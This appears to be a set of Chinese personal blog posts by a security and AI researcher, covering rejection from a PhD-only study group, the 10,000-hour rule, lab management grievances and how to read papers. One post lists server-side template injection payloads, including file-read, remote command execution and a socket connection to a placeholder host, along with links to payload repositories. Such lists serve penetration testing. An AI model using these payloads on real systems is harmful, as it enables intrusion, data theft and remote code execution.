文章23
标签6
分类2

败犬的挫败

败犬的挫败

finger_xyz AokisecTeam 今天
败犬挫败是常有的事,指不定能写成十本书。隔三差五可以分享下,攒个一百个。这是第一篇,1/100。

前提

GCN GNN 这应该算是本人比较精擅的部分了,论文的话,有两篇顶会(aaai),乱七八糟的拙作还蛮多的,各种水文,还写了一部教材,算是综述类型的,给学生上课的。项目的话,我目前的两个AI漏洞挖掘系统,都是基于图论 图神经等技术,本人使用效果尚可,可见我的博客的漏洞墙,很多漏洞均可使用这两个傻逼玩意0人工挖掘出来。

经过

一个朋友给我推了一个微信名片,说有个社群很好,每天的氛围都很给力。叫我加一个,学习一下,其实我不是很喜欢社交,无用社交太多了,本来时间就不够,也不一定能分享给我,还能对我有用,因为我太菜了,还是决定加一下和大佬们学习一下。遂加了这位xxx社群审核员。简述下对话吧,截图的话有很多马赛克。不好看。

对话

您好,我想加下您们的图神经网络的社群。

您好,可以的。我这边需要做一些审核。请问pooling是什么意思?

池化啊,你这问题太简单了,还不如问AI全拼呢

好的,请问您的姓名,公司或工作单位 title是什么呢?

等等,加个社群还需要我的真实名字和职位啊。

对的呢

好的吧,周xx xxxxxxxx实验室 xxx xxx

好的,请问您是在读博士或博士以上吗

…这个还真不是,你们社群还需要博士以上才能加?

是的呢,最基本,博士才有research能力。

连硕士也不行么,工业届很多硕士也有一定的研究能力的

不好意思,我们这边认为20个硕士也比不过一个博士。

好的,谢谢。

(其实后面还追问了,他们社群人数,说是400多人,400+的博士。。ok我不配)

SO

然后就结束了这次充满屈辱的对话。

这种屈辱是来源于自己,谁让我不是博士呢,甚至于在读博士也不是,或者连谎话也不说,反正在读博士也求证不了的。问博导的话,我也有几个关系很好的导师朋友们,骗一下应该不是问题。可本质上我确实不是博士,就算是说硕士,也并非是数学或者自动化或者cs专业的硕士,拿着这张武汉大学硕士的毕业证又有什么用呢,经济学学士法学学士管理学硕士又有什么用呢,我现在的工作和副业都是人工智能和网络安全,和这个貌似一点也不搭嘎。

突然想起我的户口本上还写的学历是初中。。。改不改没得意义。就让它一直是初中吧,或者改成小学也行。很朋克啊。

突然有一种强烈的冲动,想去德国读PhD了,哲学和经济学分别是第一选择和第二选择。到目前为止对计算机兴致不高了,反正就这么菜吧,工作加副业一个月也就那几万块,一个月十万块钱都没有,真的没啥意思。反而是哲学学的最多,包括本科研究生时期都选修大量哲学课程,还和耶鲁大学的m教授(耶鲁主讲哲学 死亡 宗教的知名正教授)交流良多,他也劝我要不要去进修下哲学,从教授助理开始。还真让我心动。为别人生活那么久,很少为自己考虑做什么。

但很绝望的是应该不可能了,首先是我的工作性质问题,第二是我计算下我的需求费用,包括去读书和家里需要的,人民币约260w--300w差不多,目前的话只有不到1/4。

现实和梦总是差距很大,所以败犬才会做梦。梦算是一件比较自由的事物了,可是我只能梦到我现在触不可及的别人轻易实现的梦,我一生努力,终身学习,keep moving的终点,是别人稍微微动弹一下的起点。

So 败犬啊败犬,小周啊小周。

That's all

一万小时

NO.1

“一万小时定律”

格拉德威尔在《异类》一书中提出“一万小时定律”:

“人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成世界级大师的必要条件。”

但是在《贫穷的本质》,这个定律似乎是反方向的。

他们勤勤恳恳,任劳任怨,每天工作超过12个小时,但即使这样,他们的生活依然贫困。

每天忙忙碌碌,生活陷入了一种死循环。而这种忙碌,反过来又固化这种死循环。

他们越忙越穷,越勤奋,越把自己的技能缩窄在一个跑道上,陷入一个“一万小时死亡定律”。

NO.2

以上是别人的内容,我相信很多人都会遇到这个情况,我在实验室第一节课就和学生们分享了这个所谓的一万小时定律,因为我深刻的认识到,这次也是第一次实验室的课,应该是很多人最后一次来到这个实验室了,抱着好奇无所谓的心态和浑浑噩噩的过渡期,我自己希望能够唤醒他们,毕竟我也曾经苦痛过,不是他们的长者,也不是老师长辈或者是有关系的人,对于他们来说只是个路人,能专注在某一件事,或者某种东西上,都是一件好事,我也在这个苦痛的人世间走着,也不是成就者或者带着上辈子记忆轮回转世而来,实在没办法教导任意一个人。我之前总是想改变别人,发现无比的困难,就算按照自己的意愿改变成功了别人也不见得感谢感激你,所以我尽量除了技术外,不输出思想,但是很多时候都忍不住输出自己的想法或者观点。

之前还看到别人说“男人两大爱好,拉良家妇女下水,劝风尘女子从良”,也许我就是这样的人吧。

NO.3

说回正题,一万小时到底是不是个伪命题,相信它的人对此坚信不疑,尽管不是所有人都能付诸实际,但相信的人不在少数,即使是不相信的人,要以一万小时定律作为他们的借口--“我之所以不成功是因为xxxx没有一万小时”;不相信的人对此弃之如敝履,觉得只不过是个谎言罢了。

那一万小时是多久呢,约等于417天,计满24小时的情况,但是人吧不能全天都在做一件事吧,所以就假设这件事是学习,处于学生状态,满打满算一天十二个小时学习时间,那一万小时就相当于834天,约两年多,再放宽点,就算是三年吧。大学本科都要四年,对不对,这个时间线其实不算很久。

NO.4

那到底是“一万小时定律”还是“一万小时死亡定律”呢?

我更倾向于这是个选择,要么...要么... 的一个选择,我之前写过个人反抗资本主义 和 不依赖运气和风口实现自由等文章,都基本上是需要投入大量的时间,我自己也是,不然我也不会在第一次实验室的课,这么重要的时间节点把一万小时写入我的观点。

首先,必须要实践者才有发言权,没有开始一万小时的人是没有所谓的发言权的,要付诸实践。

其次就是要明白,什么事情都不是一蹴而就的,比如你在第416天还是个菜鸟,到417天就变成了一个大师,whats the hell,这根本不可能的。根据我们的唯物辩证法的三大基本规律之二--质量互变规律,量变是质变的必要准备,质变是量变的必然结果。引用别人的一段人话:
并不是量变就能引起质变,而是量变发展到一定的程度时,事物内部的主要矛盾运动形式发生了改变,进而才能引发质变。就像水从液态变为气态,加热提高温度只是引起质变的外部条件(外因),水分子的主要热运动形式发生了改变才是引起质变的根本原因(内因),小于1标准大气压时,低于100摄氏度的水照样可以沸腾。

因此说,并不是生产力发展了(外因),就能导致社会的变迁,导致社会从公有制到私有制、再到公有制的不同社会形态的交替,生产力的发展与这种社会形态的交替变化之间并不存在必然的联系,而是生产力发展到一定程度后,基于此种程度的生产力水平,人类创造的消费产品数量相对于人类需求而言发生了质变,从而导致人类的主要需求矛盾发生了变化(内因),进而导致人类为满足新的主导性需求而产生不同的认知态度、行为方式和意识形态。

我认为看到这个规律就应该明白我想表达的意思了。其实唯物辩证法的三大基本规律都是证明一万小时的办法,对立统一,质量互变,否定之否定。

我认为每次质变都发生量变的过程中,即总的量变中有部分质变,质变中有量变的特征。说人话就是你在实践过程,找个两个参考,一是以前的你,二是你一万小时的目标人物,把现阶段的自己和两个参考进行比对,肯定能发现或显著的或微小的进步,到达末期后,基本上都是显著的质变。但是质变不代表着就是我们认为的“好”,也许有其他可能性,所以--

所以我更倾向于这是个选择,要么贫穷或死亡,要么成就或大师。

NO.5

对于我来说,一万小时只是个起点。

提出问题≠解决问题

提出问题≠解决问题
finger_xyz AokisecTeam 前天

//这里有个logo图

最近一次和导师商量硕士论文的事,本来今年就毕业了的,但是因为前段时间去ICU旅游了,没办法发论文,只能延毕了。幸好经济学硕士学位对我现在的工作没啥影响,延不延差别不大。

导师叫我随便水一篇算了,写写某某行业的问题,提出一个问题,假设一个方案,随便混一下就行了。但是作为一个讨厌的人,和导师杠,难不成提出问题就等于解决问题了么,导师并不想理我。

一直在学术界和工业界游荡,明明面对的都是很实际的问题,却没办法使用正常的逻辑去定义一个问题。但是很多时候就是一个人,比如说我觉得一个作为一个管理者,最重要的就是能够提出解决的方法。而不是提出问题要下面的被管理者们想出问题的办法。如果仅仅是提出问题,那并不等于解决了问题,提出问题只是问题的开端,解决问题也只是这个问题的一个过程。到最后这个问题解决了,然后再回归到理性认识上面,这个才是一个完整的问题,从提出被解决,再到被总结成经验这么一个过程。

但是现在的管理者让我很不理解。是不是只要有钱或者是有经验,经过年月的积累。就可以成为一个管理者,这样的话,成为管理者的代价也太低了。

我个人认为管理者应该具备几个能力。第一个就是沟通能力。你要了解组织内部员工的互动情况,知道。他们在想什么,而且最重要的是管理者要有善于倾听的能力。善于倾听的能力比较重要,只有善于倾听,唯有如此,才能让下属不离心离德,或者说下属不敢提出建设性的提议和需求。到管理者的话,也没办法获得下属的认同感,理解程度和共鸣。

第二点就是协调能力,管理者应该要敏锐地察觉部属的情绪,并且建立疏通宣泄的通道,不能够等到对立加深或者矛盾扩大后才着手处理,这样的话是很不利于一个团队的发展的。

第三点就是规划和统整能力。管理者的规划能力不是着眼于短期的策略规划,而是长期计划的制定。换一种说法你越是卓越的管理者越要深谋远虑。

第四点就是决策和执行能力。在民主时代虽然说很多事情都以集体决策为主。但管理者还是需要独立决策,比如说分派工作,人力协调化解员工的矛盾和纠纷等等。

然后第五点的话就是刚才有提到的解决问题的能力。提出问题的话,我认为是人人都可以的,只不过提出问题的程度片面与否或是深刻与否,但是解决问题的能力就比如说能够提出一个解决此问题的方案后的方法。这个才是一个管理者应该做的,或者是应该具备的一个能力,不能够只是人云亦云。

以上五点是我认为应该具备的一些能力,但是实际上我觉得不仅能算是能力,更是一个技能问题。一个管理者,他没有技能的话,会让人觉得这个人是不是空降过来的,他对管理是否了解对我们员工是否了解。比如说技术技能,人事技能,思想技能,设计技能等等都是应该具备的一些能力,比如说技术技能,在创业公司的话,我们往往会佩服一个技术大牛就是这样的原因,所以具备这个技术能力。人事技能的话在一开始的创业初期的时候。往往是没有人事经理了,只能够自己去兼任多个岗位,比如说像人事财务等等职位。思想技能的话,我觉得主要是体现在心里的承受能力。如果没有一定的心理承受能力的话在创业期间可能会有一些事情就直接把自己给击倒了。所以的话这个创业公司的发展必须度过的。

现在我在实验室就有遇到诸如此类的问题,包括我自己的问题,包括我的领导的问题,我觉得这个问题如果不解决的话,这个实验室是没有继续发展的必要的。一些问题是必须要解决的作品。

第一点就是领导层只提出问题却不给我解决问题的办法,特别是一些大观念上的问题,比如说对实验室应该如何往后发展,没有给出既定的目标。很多大观念上的问题不应该由我这样的员工或者中层管理者来决定,为什么呢?因为行百里者半九十。很多时候,我既定的计划有时候已经进行到一半了,突然喊停,对于这个队伍也好,对整个实验室的发展也好,都是一种不好的信号。或者是存在多个目标,或者是领导人的意见不一的问题。

第二个就是领导层的态度问题,对实验室发展一直持怀疑态度,我觉得如果在一件事情没有必然要去做的把握,或者说有必备信心的话。那反而不开展这件事情是最好的选择。

第三个问题就是我个人的问题,我毕竟不是所有的事情都能够投入进去,没办法做到面面俱到,让我一个人来完成实验室30个人的KPI。这个要求属实有点过分。

第四个就是实验室的资源倾斜问题。一个可有可无的实验室,我认为是没有继续完成下去的必要的。其实还有很多实际的问题,比如说实验室会遇到两层领导的问题。何为两层领导呢,比如说实验室,它是校企合作的实验室,是学校和企业两部分构成,那他就会有两层的领导。学校的领导和公司的领导企业的领导,这两层领导的有一些目标会冲突。之前有和我说过谁给你发工资就听谁的,实际上这个我觉得是一个非常非常错误的一个讲法,非常的不负责任。这句话太草率了,谁给你发工资就听谁了哦,那你就把我当成一个木偶人一样,那我正好什么都不用想,去执行就完事了,可是也不给我机会。

其实到目前为止说了这么多问题,但是我自己作为一个基层员工,也没办法提出很恰当的方法,因为我提出的方法都被领导层们否决了。所以我现在在这里,我也不想更强调我个人的方法已经被否决的方法对错与否,不提也罢。那谁来解决这个问题呢,不是我。

这并不是我心心念念的,是属于我的实验室。所以我可能待到我受不了就会离开。

最近用到的payload

1、Server Side Template Injection Payloads(服务端模板注入 SSTI-payloads)

{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}} 
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]   ("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\   x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x   ()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).co   ncat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
References :

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection

https://portswigger.net/research/server-side-template-injection

https://www.indusface.com/learning/application-security/server-side-template-injection/

项目地址:

https://github.com/payloadbox/ssti-payloads

项目上包含了很多其他的一些payloads.(大家自行查看)

2、Git All The Payloads! A Collection Of Web Attack Payloads(git关于web的payloads)

项目地址:

https://github.com/foospidy/payloads

可以使用get.sh解压下载文件

Payload Credits

fuzzdb - https://github.com/fuzzdb-project/fuzzdb

SecLists - https://github.com/danielmiessler/SecLists

xsuperbug - https://github.com/xsuperbug/payloads

NickSanzotta - https://github.com/NickSanzotta/BurpIntruder

7ioSecurity - https://github.com/7ioSecurity/XSS-Payloads

shadsidd - https://github.com/shadsidd

shikari1337 - https://www.shikari1337.com/list-of-xss-payloads-for-cross-site-scripting/

xmendez - https://github.com/xmendez/wfuzz

minimaxir - https://github.com/minimaxir/big-list-of-naughty-strings

xsscx - https://github.com/xsscx/Commodity-Injection-Signatures

TheRook - https://github.com/TheRook/subbrute

danielmiessler - https://github.com/danielmiessler/RobotsDisallowed

FireFart - https://github.com/FireFart/HashCollision-DOS-POC

HybrisDisaster - https://github.com/HybrisDisaster/aspHashDoS

swisskyrepo - https://github.com/swisskyrepo/PayloadsAllTheThings

1N3 - https://github.com/1N3/IntruderPayloads

cujanovic - https://github.com/cujanovic/Open-Redirect-Payloads

cujanovic - https://github.com/cujanovic/Content-Bruteforcing-Wordlist

cujanovic - https://github.com/cujanovic/subdomain-bruteforce-list

cujanovic - https://github.com/cujanovic/CRLF-Injection-Payloads

cujanovic - https://github.com/cujanovic/Virtual-host-wordlist

cujanovic - https://github.com/cujanovic/dirsearch-wordlist

lavalamp- - https://github.com/lavalamp-/password-lists

arnaudsoullie - https://github.com/arnaudsoullie/ics-default-passwords

scadastrangelove - https://github.com/scadastrangelove/SCADAPASS

jeanphorn - https://github.com/jeanphorn/wordlist

j3ers3 - https://github.com/j3ers3/PassList

nyxxxie - https://github.com/nyxxxie/awesome-default-passwords

foospidy - https://github.com/foospidy/web-cve-tests

OWASP

dirbuster - https://www.owasp.org/index.php/DirBuster

fuzzing_code_database - https://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database

JBroFuzz - https://www.owasp.org/index.php/JBroFuzz

Other

xss/ismailtasdelen.txt - https://github.com/ismailtasdelen/xss-payload-list

xss/jsf__k.txt - http://www.jsfuck.com/

xss/kirankarnad.txt - https://www.linkedin.com/pulse/20140812222156-79939846-xss-vectors-you-may-need-as-a-pen-tester

xss/packetstorm.txt - https://packetstormsecurity.com/files/112152/Cross-Site-Scripting-Payloads.html

xss/smeegessec.com.txt - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html

xss/d3adend.org.txt - http://d3adend.org/xss/ghettoBypass

xss/soaj1664ashar.txt - http://pastebin.com/u6FY1xDA

xss/billsempf.txt - https://www.sempf.net/post/Six-hundred-and-sixty-six-XSS-vectors-suitable-for-attacking-an-API.aspx (http://pastebin.com/48WdZR6L)

xss/787373.txt - https://84692bb0df6f30fc0687-25dde2f20b8e8c1bda75aeb96f737eae.ssl.cf1.rackcdn.com/--xss.html

xss/bhandarkar.txt - http://hackingforsecurity.blogspot.com/2013/11/xss-cheat-sheet-huge-list.html

xss/xssdb.txt - http://xssdb.net/xssdb.txt

xss/0xsobky.txt - https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

xss/secgeek.txt - https://www.secgeek.net/solutions-for-xss-waf-challenge/

xss/reddit_xss_get.txt - All XSS GET requests from https://www.reddit.com/r/xss (as of 3/30/2016)

xss/rafaybaloch.txt - http://www.rafayhackingarticles.net/2016/09/breaking-great-wall-of-web-xss-waf.html

xss/alternume0.txt - https://www.openbugbounty.org/reports/722726/

xss/XssPayloads - https://twitter.com/XssPayloads

sqli/camoufl4g3.txt - https://github.com/camoufl4g3/SQLi-payload-Fuzz3R/blob/master/payloads.txt

sqli/c0rni3sm.txt - http://c0rni3sm.blogspot.in/2016/02/a-quite-rare-mssql-injection.html

sqli/sqlifuzzer.txt - https://github.com/ContactLeft/sqlifuzzer/tree/master/payloads

sqli/harisec.txt - https://hackerone.com/reports/297478

sqli/jstnkndy.txt - https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/

sqli/d0znpp.txt - https://medium.com/@d0znpp/how-to-bypass-libinjection-in-many-waf-ngwaf-1e2513453c0f

sqli/libinjection-bypasses.txt - https://gist.github.com/migolovanov/432fe28c8c7e9fa675ab3903c5eda77f

traversal/dotdotpwn.txt - https://github.com/wireghoul/dotdotpwn

codeinjection/fede.txt - https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/

commandinjection/ismailtasdelen-unix.txt - https://github.com/ismailtasdelen/command-injection-payload-list

commandinjection/ismailtasdelen-windows.txt - https://github.com/ismailtasdelen/command-injection-payload-list

CTF

Requests extracted from either packet captures or log files of capture the flag (ctf) events. Mostly raw data so not all requests are actual payloads, however requests should be deduplicated.

maccdc2010.txt - Mid-Atlantic CCDC (http://maccdc.org/), source: http://www.netresec.com/?page=MACCDC

maccdc2011.txt - Mid-Atlantic CCDC (http://maccdc.org/), source: http://www.netresec.com/?page=MACCDC

maccdc2012.txt - Mid-Atlantic CCDC (http://maccdc.org/), source: http://www.netresec.com/?page=MACCDC

ists12_2015.txt - Information Security Talent Search (http://ists.sparsa.org/), source: http://www.netresec.com/?page=ISTS

defcon20.txt - DEFCON Capture the Flag (https://www.defcon.org/html/links/dc-ctf.html), source: http://www.netresec.com/?page=PcapFiles


Miscellaneous

    XSS references that may overlap with sources already included above:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

http://htmlpurifier.org/live/smoketests/xssAttacks.php

如何阅读一篇论文(科研型)

作为一名科研型傻吊,如何阅读一篇论文呢?

系统阅读

既然有了目标,第一步收集资源,并整合起来。

论文、博客文章、GitHub资源库、视频……在谷歌上搜索「姿态估计」这个词,得到所有关于这个关键词的资源都要整理下来。

这一阶段,资源数量是没有限制的。只要是你认为重要的资料都可以整理,但要注意,一定要创建一个有用的论文、视频和文章的短名单。

第二步,将你认为的与主题相关的任何资源进行深入研究。

这时候,你可以绘制一张表格。

对每种资源的理解程度,做一个实时的跟踪。

具体来讲,最好的方式就是对所有你收集到的资源都有一个10%~20%的理解程度。

这样,就确保你已经对你所收集到的资源,有了足够的了解,并且还能准确的评估其相关性。

很好,你已经对这项技术基本入门了。

更进一步,仔细研读相关程度更高的文章资源。这时候,就出现了一个问题,大概多少论文足够了呢?

吴恩达说:对5~20篇的论文的理解,那么就说明你对这个领域以及研究进展有了基本的了解。

如果研读到了50~100篇,那么已经非常了解这个领域了。

这时候,你的表格可能是这样。

论文至少要看三遍

接下来,就集中介绍一下如何研究一篇论文。

吴恩达认为,要理解一篇论文,一次将一篇论文从第一个字读到最后一个字,可能并不是最佳方式。

正确的打开方式是,一篇论文至少要看三遍。

第一遍,仔细阅读论文中的标题、摘要和关键词。

第二遍,阅读文中的导言、结论以及图表,快速扫描一下论文剩下的内容。

这一步主要是要把握论文中的关键信息,不光是导言和结论,还包括文章中任何小结论的总结,文中涉及的补充信息都跳过。

第三遍,阅读论文的整个部分,但是要跳过任何可能陌生看不懂的数学公式,技术术语。

不过,如果你需要对这个专业领域有一个「深入」的理解,那就必须要搞懂那些公式术语了。

问自己问题

如何检测你对这篇文章的关键信息有了基本的了解?问自己问题吧!

吴恩达提供了一系列的问题,在阅读的时候询问自己。这里就摘取一部分。

1、Describe what the authors of the paper aim to accomplish, or perhaps did achieve.
这篇论文作者的目标是什么,或者也许已经实现了什么。

2、If a new approach/technique/method was introduced in a paper, what are the key elements of the newly proposed approach?
如果文中引入了一种新方法/技术,那么这一新提出的方法/技术的关键要素是什么?

3、What content within the paper is useful to you?
论文中,有哪些内容对你有用。

4、What other references do you want to follow?
你还想关注哪些参考资料/文献?

此外,还分享了一些有用的在线资源。

The Machine Learning Subreddit:
https://www.reddit.com/r/MachineLearning/
The Deep Learning Subreddit:
https://www.reddit.com/r/deeplearning/
Paper With Code:
https://paperswithcode.com/
Research Gate:
https://www.researchgate.net/
还有一些顶级会议,比如NIPS、ICML、ICLR…

不过,吴恩达也强调:

Learn steadily rather than short burst for longevity.

稳扎稳打,而不是短时的突击,才能长久的学习。这不光是对机器学习领域,还对整个学术领域有益。

这位博主根据吴恩达的方法,每个月至少阅读四篇论文,来达到理解的目的。

吴恩达他自己也在视频里说,他就随身携带着一批论文,有时间就拿出来研读。

希望这个方法对你有所帮助~如果你有很好的学习论文的方法,也欢迎跟我们分享。

博文链接:
https://towardsdatascience.com/how-you-should-read-research-papers-according-to-andrew-ng-stanford-deep-learning-lectures-98ecbd3ccfb3
视频链接:
https://www.youtube.com/watch?v=733m6qBH-jI